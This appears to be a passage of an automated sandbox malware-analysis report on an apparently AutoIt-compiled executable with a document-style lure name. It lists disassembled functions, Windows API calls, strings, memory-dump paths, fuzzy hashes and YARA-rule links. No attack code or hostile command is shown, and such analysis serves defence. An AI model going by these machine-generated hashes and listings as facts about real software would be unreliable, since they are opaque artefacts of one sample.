                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ClassMessageNameSend_memmove
                                                • String ID: ComboBox$ListBox
                                                • API String ID: 372448540-1403004172
                                                • Opcode ID: a460ed9dea1cd36d1bdd369ba17c0dd0ba9b8d17f570d9f3dd6aa48dff1b2588
                                                • Instruction ID: a25a380aad71d4d8489cae32204e4386a1a1ee03f1bb698ab17c30db4a1fa432
                                                • Opcode Fuzzy Hash: a460ed9dea1cd36d1bdd369ba17c0dd0ba9b8d17f570d9f3dd6aa48dff1b2588
                                                • Instruction Fuzzy Hash: 3E017575A412047BCB14FBA0C996DFEB7A8DF15710F540116B512672C1DB12AE089771
                                                Function 00DD9264 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D87F41: _memmove.LIBCMT ref: 00D87F82
                                                  • Part of subcall function 00DDB0C4: GetClassNameW.USER32(?,?,000000FF), ref: 00DDB0E7
                                                • SendMessageW.USER32(?,00000182,?,00000000), ref: 00DD92D0
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ClassMessageNameSend_memmove
                                                • String ID: ComboBox$ListBox
                                                • API String ID: 372448540-1403004172
                                                • Opcode ID: 794c20b9811f5534eb2c320c706dda0c2de330927b037c400917cea5f2c5e3cc
                                                • Instruction ID: 802b713a1a2bc561181963eb1b2c1a9d4317ba90c3d865ec99bc56e22c31399b
                                                • Opcode Fuzzy Hash: 794c20b9811f5534eb2c320c706dda0c2de330927b037c400917cea5f2c5e3cc
                                                • Instruction Fuzzy Hash: 83018471A4120477CB04FBA0C992DFEBBA8DF11710F640116B91263282DB229E0892B5
                                                Function 00DA6DAE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: __calloc_crt
                                                • String ID: @R
                                                • API String ID: 3494438863-2347139750
                                                • Opcode ID: 4ea364abe4c227377069bae089be54ee585a6829a0d0fca3906212eabd3a6eba
                                                • Instruction ID: 9bbae5b0d1a3dc2710b8a409668e98a1ec30e885d50de91cda799cc93a787aca
                                                • Opcode Fuzzy Hash: 4ea364abe4c227377069bae089be54ee585a6829a0d0fca3906212eabd3a6eba
                                                • Instruction Fuzzy Hash: FCF06875705716EFFB24CF2BFD016512795E743764F184426F100EA1E1EB70C8469675
                                                Function 00DE51CA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ClassName_wcscmp
                                                • String ID: #32770
                                                • API String ID: 2292705959-463685578
                                                • Opcode ID: d084787c7311a7018075c0078f161fa54bebcd1483f0269d1e402cb111024e21
                                                • Instruction ID: 19213a26ad3811eebf12b6ee0106edbe94469d4c6c583cc0510407812ca6dc08
                                                • Opcode Fuzzy Hash: d084787c7311a7018075c0078f161fa54bebcd1483f0269d1e402cb111024e21
                                                • Instruction Fuzzy Hash: C7E0613390032C1BD720AA96AC09F97F7ACEB41771F000167FD10E3050E660A94587F1
                                                Function 00DD81BC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00DD81CA
                                                  • Part of subcall function 00DA3598: _doexit.LIBCMT ref: 00DA35A2
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Message_doexit
                                                • String ID: AutoIt$Error allocating memory.
                                                • API String ID: 1993061046-4017498283
                                                • Opcode ID: 61db0153f3fbec0949adbd9e9b40b6790207ccc7ba412d7b9721a26b54b01460
                                                • Instruction ID: 3f8559ca16aa47ede1eaaa6bf40e5d3662d1bd53c4980e3fd1006eed98d058a0
                                                • Opcode Fuzzy Hash: 61db0153f3fbec0949adbd9e9b40b6790207ccc7ba412d7b9721a26b54b01460
                                                • Instruction Fuzzy Hash: FCD0123228531936D21532A96C0BBC679488B05B52F044016BB08655D38AD295D542F9
                                                Function 00DBB511 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00DBB564: _memset.LIBCMT ref: 00DBB571
                                                  • Part of subcall function 00DA0B84: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00DBB540,?,?,?,00D8100A), ref: 00DA0B89
                                                • IsDebuggerPresent.KERNEL32(?,?,?,00D8100A), ref: 00DBB544
                                                • OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00D8100A), ref: 00DBB553
                                                Strings
                                                • ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00DBB54E
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
                                                • String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
                                                • API String ID: 3158253471-631824599
                                                • Opcode ID: c1dae7f7d65c07309e7a3989e9c9c156e84c8e82b1152e5a39e7bbbcacff7add
                                                • Instruction ID: 002d26372960f017b444f236b372881bc51aca847c9907c754d66cdfb025691c
                                                • Opcode Fuzzy Hash: c1dae7f7d65c07309e7a3989e9c9c156e84c8e82b1152e5a39e7bbbcacff7add
                                                • Instruction Fuzzy Hash: 70E03970200310CED731DF29E5043867BE0AB00724F04892DE446D2660DBB5E448CB72
                                                Function 00E05BEB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00E05BF5
                                                • PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00E05C08
                                                  • Part of subcall function 00DE54E6: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00DE555E
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: FindMessagePostSleepWindow
                                                • String ID: Shell_TrayWnd
                                                • API String ID: 529655941-2988720461
                                                • Opcode ID: 8a7be5f15484a72476029aa9ffc105f403d3ae7151c762f372710d3d3fdd0816
                                                • Instruction ID: 8b9419a94d8730fc5f68d33d5b529b38a26e5c7f9abb4e41ab2b51b0aae746af
                                                • Opcode Fuzzy Hash: 8a7be5f15484a72476029aa9ffc105f403d3ae7151c762f372710d3d3fdd0816
                                                • Instruction Fuzzy Hash: 43D0C931388311BAE778BB71BC1FF976A14AB10B51F040839F645BA1D4D9E55894C6A0